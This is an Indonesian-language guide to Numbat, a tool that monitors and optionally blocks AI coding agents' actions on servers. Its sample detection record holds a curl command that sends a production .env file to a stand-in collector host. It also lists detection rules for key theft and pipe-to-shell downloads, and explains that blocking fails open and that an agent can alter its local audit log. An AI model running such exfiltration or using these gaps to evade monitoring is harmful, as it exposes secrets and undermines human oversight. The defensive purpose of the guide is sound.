SSD Nodes Learn 🎉 VPS mulai $5.50/bln
Panduan Matt ConnorOleh Matt Connor · Diperbarui 2026-08-13

Numbat: Pantau Tindakan AI Agent di Server Anda

Numbat dari Perplexity mencatat tindakan coding agent di server, termasuk perintah dan akses file. Pelajari yang terlihat dan yang tidak dapat dihentikannya.

Apa itu Numbat

Numbat memberi Anda visibilitas terhadap tindakan yang dilakukan agen AI pada mesin milik Anda. Numbat membaca callback hook dan file sesi yang sudah dihasilkan oleh coding agent, menormalkannya ke dalam satu format event, lalu mencocokkannya dengan aturan yang aktif saat mendeteksi perilaku seperti membaca private key SSH atau menyalurkan hasil download langsung ke shell. Perplexity merilisnya sebagai open source di bawah lisensi Apache 2.0, dengan rilis bertag pertama pada 29 July 2026.

Semua informasi di bawah ini berasal dari repository proyek dan dokumentasinya sendiri, yang dibaca pada 2 August 2026. Jika Perplexity membuat suatu klaim, artikel ini menyatakannya sebagai klaim Perplexity. Ini bukan tutorial instalasi karena repository tersebut baru berusia beberapa hari dan command-nya dapat berubah.

Masalahnya: tidak ada yang mencatat tindakan agent

Coding agent pada VPS Anda menjalankan perintah shell, membaca file, menulis file, dan membuka koneksi jaringan sebagai user yang Anda berikan kepadanya. Riwayat shell Anda tidak mencatat semua itu karena agent tidak mengetikkan perintah ke shell Anda. sshd hanya mencatat login Anda dan tidak mencatat tindakan yang diputuskan model setelahnya. /var/log/auth.log tetap diam kecuali ada sesuatu yang mengakses sudo. Agent menyimpan transkripnya sendiri, tetapi file tersebut berada di direktori sesi agent, formatnya berubah antarrilis, dan proses agent sendiri dapat menulis ke file itu.

Jadi, ketika seseorang menanyakan apakah agent membaca .env.production Selasa lalu, jawaban jujurnya pada sebagian besar server adalah Anda tidak dapat memastikannya. Kesenjangan inilah alasan proyek ini dibuat.

Klaim Perplexity tentang fungsi Numbat

README diawali dengan menjelaskan tool ini sebagai "visibilitas endpoint terhadap aktivitas agen AI, dengan deteksi lokal, pemblokiran sebelum tindakan yang bersifat opsional, dan rekonstruksi forensik". Endpoint di sini berarti mesin tempat agen berjalan, bukan perangkat jaringan yang memantau dari luar. Kemampuan tersebut terpisah dan memiliki tingkat kepentingan yang berbeda.

Deteksi berjalan pada perangkat. Aturan ditulis dalam CEL (common expression language) dan dievaluasi secara lokal, dengan dukungan aturan urutan multilangkah serta aturan Anda sendiri dalam YAML. Tidak ada data yang perlu keluar dari mesin agar suatu aturan dapat terpicu.

Pemblokiran bersifat opsional dan terbatas. Fitur ini hanya bekerja melalui hook sebelum tindakan yang sinkron, pada agen yang menyediakannya, dan tetap nonaktif sampai Anda mengaktifkannya.

Rekonstruksi dilakukan setelah kejadian. numbat scan mengurai artefak sesi yang sebelumnya telah ditulis agen ke disk, sehingga Anda dapat meninjau aktivitas sebelum memasang tool apa pun. Proyek ini membatasi klaim tersebut dengan jelas: "Rekonstruksi data tersimpan bukan akuisisi disk atau memori dan tidak dapat memulihkan aktivitas yang tidak dipersistenkan oleh agen."

Output menggunakan NDJSON berversi (JSON yang dibatasi baris baru) dan mencakup peristiwa, temuan, keputusan penegakan, indikator, serta ringkasan pemindaian, dengan versi skema 0.2.0 pada v0.1.2. Record ditulis ke stdout atau file lokal, dan secara opsional dikirim melalui HTTP ke collector yang Anda jalankan. Tool ini didistribusikan sebagai satu binary Go statis yang dibangun tanpa cgo, untuk macOS, Linux, dan Windows pada amd64 serta arm64. Dengan demikian, pada VPS Linux, tool ini hanya berupa satu file dan tidak memerlukan runtime yang harus dipasang terlebih dahulu.

Agen mana yang benar-benar dapat dilihat Numbat?

Matriks cakupan di docs/agent-coverage.md adalah daftar acuan resmi, dan cakupannya tidak merata. Proyek ini menyatakannya secara jelas, bukan menyembunyikannya. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI mendukung pemindaian artefak serta capture langsung dengan pre-action hook. OpenClaw mendapatkan plugin native mulai versi 2026.7.1. Banyak entri lainnya berstatus deferred. Artinya, jalur live hook tersedia, tetapi parser artefak belum tersedia. Hal ini sering terjadi karena agen tersebut menyimpan histori dalam SQLite dengan write-ahead log yang tidak aman dibaca saat agen sedang berjalan. OpenCode dan Cline termasuk dalam kelompok itu saat matriks dibaca pada 2 August 2026.

Periksa baris untuk agen Anda sebelum merencanakan penggunaan tool ini. Istilah "didukung" memiliki arti yang berbeda pada hampir setiap baris.

Seperti apa hasil deteksi

Setiap aturan memiliki id yang menjelaskan fungsinya. secrets.read_private_key mencakup kunci SSH, kredensial AWS, konfigurasi kube, atau login ke package registry. exec.download_pipe_shell aktif ketika output curl atau wget diteruskan melalui pipe ke interpreter. privilege.elevated_shell mendeteksi permintaan untuk shell root interaktif melalui sudo, doas, su, atau pkexec. impact.cryptomining_launch mencocokkan binary miner dan nama image yang telah diketahui.

Aturan sequence menggabungkan beberapa event dalam satu sesi. chain.secret_read_then_egress memerlukan pembacaan file rahasia yang diikuti perintah yang mengirimkan data ke luar. README memublikasikan temuan berikut dari replay terkontrol atas dua callback pre-action Claude Code, bukan dari insiden aktif. Bagian ini hanya menampilkan field yang relevan:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Perhatikan "confidence": "medium" yang berada di dalam record, dan perhatikan penjelasan proyek tentang seluruh jenis output ini: "Temuan adalah hasil pencocokan aturan, bukan bukti bahwa sistem telah dibobol." Script deployment yang membaca sebuah key lalu mengunggah artefak build akan cocok dengan aturan sequence yang sama. Pencocokan tersebut benar, tetapi alarmnya keliru. Itulah kondisi normal pada setiap tool deteksi yang pernah Anda jalankan.

Pemblokiran dinonaktifkan secara default, dan sistem gagal secara terbuka

Semua aturan yang dirilis Numbat hanya memantau. Mengubahnya menjadi aturan pemblokiran memerlukan tindakan yang disengaja: salin YAML lengkap aturan tersebut ke direktori Anda sendiri, pertahankan id yang sama, tambahkan enforce: true, naikkan versinya, lalu validasi dan instal kebijakan tersebut.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Sekarang, bagian yang menentukan seberapa jauh Anda dapat mempercayainya. Deny dari Numbat adalah respons yang dikembalikan kepada agent, dan agent-lah yang benar-benar menolak pemanggilan tool. Panduan enforcement menjelaskan secara langsung apa yang terjadi ketika Numbat sendiri mengalami masalah: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Input hook dibatasi hingga 4 MiB, dan input yang terlalu besar mengikuti jalur yang sama.

Panduan tersebut juga menjelaskan secara langsung batas deny yang berhasil dikirim: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

Jadi, enforcement di sini adalah pagar pengaman, bukan batas keamanan. Jika proses mengalami crash, tindakan tersebut tidak diblokir oleh Numbat, karena monitor yang membekukan agent setiap kali mengalami masalah akan dihapus dalam waktu satu minggu. Pertukaran ini masuk akal. Namun, jangan membangun model keamanan yang mengasumsikan bahwa deny selalu diterima.

Di mana posisi Numbat di samping praktik yang sudah Anda gunakan

Numbat berjalan pada endpoint, di dalam pohon proses milik agent, dan secara default menulis ke ~/.numbat/records.ndjson. Agent yang berjalan sebagai user Anda dapat membaca file tersebut. Agent itu juga dapat mengubahnya. Nilai audit trail hanya setara dengan isolasi yang melindunginya. Karena itu, semua kontrol yang sudah Anda miliki berada di depan kontrol ini, bukan di belakangnya.

Memberikan VM sekali pakai kepada coding agent membatasi apa saja yang dapat dijangkau oleh eksekusi yang bermasalah. Menggunakan user dengan hak istimewa minimum pada VPS mencegah agent mengakses file yang tidak berwenang untuk dibukanya. Menjauhkan kredensial dari konteks agent membuat secrets.read_private_key cukup jarang terjadi sehingga layak dibaca ketika terpicu. Dan sandbox yang Anda siapkan untuk Claude Code pada VPS tetap menjadi mekanisme yang melakukan containment. Containment membatasi apa yang dapat disentuh oleh eksekusi yang bermasalah, sedangkan mencatat alasan kode disusun seperti itu mengurangi frekuensi agent melakukan sesuatu yang tidak terduga hingga Anda perlu memeriksa log.

Yang ditambahkan Numbat adalah rekamannya. Karena itu, kirim rekaman tersebut ke lokasi yang tidak dapat dijangkau agent. numbat ship dan HTTP sink digunakan untuk tujuan itu. Salinan stream pada mesin kedua membedakan log file dari bukti. Model event juga membawa field MCP (model context protocol). Karena itu, pemanggilan tool yang keluar melalui server MCP yang Anda host pada VPS masuk ke stream yang sama dengan perintah shell lokal. Hal ini penting karena jalur tersebut tidak terlihat oleh apa pun yang hanya memantau bash. Titik buta yang sama juga berlaku untuk instance SearXNG yang dikonfigurasi sebagai backend pencarian agent, ketika risiko muncul sebagai teks halaman yang tidak tepercaya dan masuk ke konteks model, bukan sebagai perintah yang dapat dicocokkan oleh aturan apa pun.

Uji dalam mode hanya-baca terlebih dahulu

Instal versi yang dikunci. Go 1.26.5 atau yang lebih baru diperlukan untuk go install. Halaman rilis menyediakan biner siap pakai beserta checksum SHA-256 jika Anda tidak ingin membangun dari kode sumber.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents menemukan agent yang terinstal pada server. numbat scan mengurai artefak sesi yang sudah tersimpan di disk lalu mencetak catatan. README menyatakan bahwa perintah ini "tidak menginstal hook atau mengubah konfigurasi agent", dan bahwa numbat "tidak pernah mengeksekusi agent atau perintah yang ditemukan dalam artefak, serta hanya mengirim permintaan keluar ke sink HTTP yang dikonfigurasi". Pemindaian bersifat hanya-baca dan meredaksi secret. Output catatan normal tidak pernah menyertakan transkrip mentah lengkap.

Penangkapan langsung adalah langkah berikutnya dan memang mengubah konfigurasi agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all menulis event, temuan, indikator, dan keputusan penegakan yang berlaku ke ~/.numbat/records.ndjson. Dua hal yang perlu diperhatikan ini disebutkan langsung oleh proyek tersebut. Hook mungkin perlu dipercaya di dalam agent sebelum dapat dijalankan. Kepercayaan tersebut harus ditinjau kembali setelah Anda mengubah flag seperti --enforce. Selain itu, hook status "memverifikasi konfigurasi, bukan eksekusi atau pengiriman", sehingga baris status yang sehat bukan bukti bahwa catatan sudah tiba di tujuan mana pun.

Mengapa repository yang masih baru seperti ini bukan dependensi

Rilis publiknya adalah v0.1.1 pada 29 July 2026 dan v0.1.2 pada 1 August 2026. Repository ini memiliki 597 stars saat tulisan ini dibuat pada 2 August 2026. Pertumbuhan secepat itu mencerminkan audiens Perplexity, bukan ketahanan kode saat digunakan. Star berarti seseorang menyimpan halaman tersebut untuk dilihat nanti.

Nomor versinya secara jujur menunjukkan tingkat kematangannya. Catatan v0.1.2 terutama berisi perbaikan redaksi kredensial, serta pekerjaan normalisasi case bundle dan telemetry. Bug redaksi merupakan bentuk cacat awal yang wajar pada tool yang bertugas membaca transcript program lain secara aman. Bug semacam itu akan terus bertambah karena input berasal dari selusin agent yang masing-masing mengubah formatnya sesuai jadwal sendiri.

Ada dua aturan praktis yang perlu diikuti. Pin tag, jangan @latest, pada apa pun yang Anda simpan. Perlakukan tool ini sebagai instrumen yang sedang Anda evaluasi, bukan sebagai kontrol yang Anda andalkan, setidaknya sampai skema record tidak lagi sering berubah.

FAQ

Apakah Numbat memblokir perintah agen AI yang berbahaya?

Hanya jika Anda memilih untuk mengaktifkannya, dan hanya dengan upaya terbaik. Semua aturan yang disertakan Numbat secara default hanya memantau. Untuk memblokir, salin YAML aturan ke direktori Anda sendiri, pertahankan id-nya, tambahkan enforce: true, naikkan versinya, lalu pasang hook dengan --enforce. Bahkan dalam kondisi ini, penolakan dikirim kembali kepada agen sebagai respons, dan agenlah yang menolak panggilan tersebut. Dokumentasi proyek menyatakan bahwa perilakunya fail-open: payload yang tidak valid, error evaluasi, panic, dan kegagalan output semuanya meniadakan penolakan. Gunakan fitur ini sebagai guardrail, bukan sebagai satu-satunya batas keamanan.

Agen AI mana yang didukung Numbat?

Cakupannya berbeda-beda untuk setiap agen dan tercantum di docs/agent-coverage.md dalam repositori. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI memiliki pemindaian artefak serta capture langsung ketika halaman tersebut dibaca pada 2 August 2026, sedangkan OpenClaw memiliki plugin native mulai versi 2026.7.1. Banyak agen lain tercantum dengan jalur hook langsung, tetapi belum memiliki parser artefak. Biasanya, hal ini karena riwayat sesi agen tersebut tersimpan dalam database SQLite yang tidak aman untuk dibaca saat agen sedang berjalan. Baca baris untuk agen Anda, karena istilah "didukung" mencakup beberapa tingkat dukungan yang berbeda di sana.

Dapatkah agen mengubah catatan Numbat?

Ya, jika agen berjalan sebagai user yang sama. Secara default, catatan disimpan di ~/.numbat/records.ndjson pada mesin yang sama dengan agen. Karena itu, apa pun yang memiliki akses tulis ke path tersebut dapat mengubah atau menghapusnya. Kirim stream ke collector yang tidak dapat dijangkau agen, menggunakan numbat ship atau HTTP sink, dan pertahankan file lokal sebagai salinan tambahan. Inilah alasan tool ini melengkapi isolation, bukan menggantikannya. Agen yang dibatasi dalam VM sekali pakai dan dijalankan oleh user dengan least privilege memiliki akses yang jauh lebih terbatas ke audit trail-nya sendiri.

Apakah Numbat siap digunakan pada server produksi?

Jangan menjadikannya kontrol yang Anda andalkan. Rilis publik pertama adalah v0.1.1 pada 29 July 2026, lalu v0.1.2 dirilis pada 1 August 2026. Karena itu, flag dan skema catatan masih sering berubah. Menjalankan numbat agents dan numbat scan pada sebuah server bersifat read-only dan berisiko rendah. Perintah tersebut akan menunjukkan apa yang ditinggalkan agen Anda di disk. Memasang enforcement hook pada server penting adalah keputusan yang berbeda. Gunakan pinned tag dan siapkan rencana untuk menangani kondisi saat hook mengalami masalah.